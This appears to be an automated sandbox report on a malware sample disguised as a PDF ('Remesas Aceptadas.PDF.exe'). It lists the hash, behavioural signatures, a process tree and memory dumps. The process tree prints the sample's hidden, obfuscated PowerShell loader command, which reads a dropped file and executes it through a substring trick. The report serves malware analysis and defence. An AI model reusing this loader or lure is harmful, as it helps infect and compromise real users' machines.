Analysis
- max time kernel
94s - max time network
96s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
09/09/2024, 11:31
General
- Target Remesas Aceptadas.PDF.exe
- Size 495KB
- Sample240909-nmrxravgpj
- SHA256 9f3b919ce19ec77455cf976bca1489292959e2032e7498c3daa6099b2ea90d8c
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Remesas Aceptadas.PDF.exe"C:\Users\Admin\AppData\Local\Temp\Remesas Aceptadas.PDF.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Fuldbefarne=Get-Content 'C:\Users\Admin\AppData\Local\Konfektionernes\Eguns\Aliyahs50.Fum83';$Dewily=$Fuldbefarne.SubString(54482,3);.$Dewily($Fuldbefarne)2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 26563⤵
- Program crash
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-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4876 -ip 48761⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Aliyahs50.Fum83
__PSScriptPolicyTest_qlqei2nm.ntg.ps1
memory/4876-9-0x0000000074E00000-0x00000000755B0000-memory.dmp
memory/4876-24-0x0000000006640000-0x000000000668C000-memory.dmp
memory/4876-5-0x0000000074E0E000-0x0000000074E0F000-memory.dmp
memory/4876-10-0x0000000005640000-0x0000000005662000-memory.dmp
memory/4876-11-0x0000000005F20000-0x0000000005F86000-memory.dmp
memory/4876-12-0x0000000005F90000-0x0000000005FF6000-memory.dmp
memory/4876-7-0x0000000074E00000-0x00000000755B0000-memory.dmp
memory/4876-22-0x0000000006000000-0x0000000006354000-memory.dmp
memory/4876-23-0x00000000065F0000-0x000000000660E000-memory.dmp
memory/4876-8-0x0000000005700000-0x0000000005D28000-memory.dmp
memory/4876-27-0x0000000006B60000-0x0000000006B82000-memory.dmp
memory/4876-26-0x0000000006B40000-0x0000000006B5A000-memory.dmp
memory/4876-28-0x0000000007E00000-0x00000000083A4000-memory.dmp
memory/4876-25-0x00000000077B0000-0x0000000007846000-memory.dmp
memory/4876-6-0x0000000003020000-0x0000000003056000-memory.dmp
memory/4876-30-0x0000000008A30000-0x00000000090AA000-memory.dmp
memory/4876-31-0x0000000074E00000-0x00000000755B0000-memory.dmp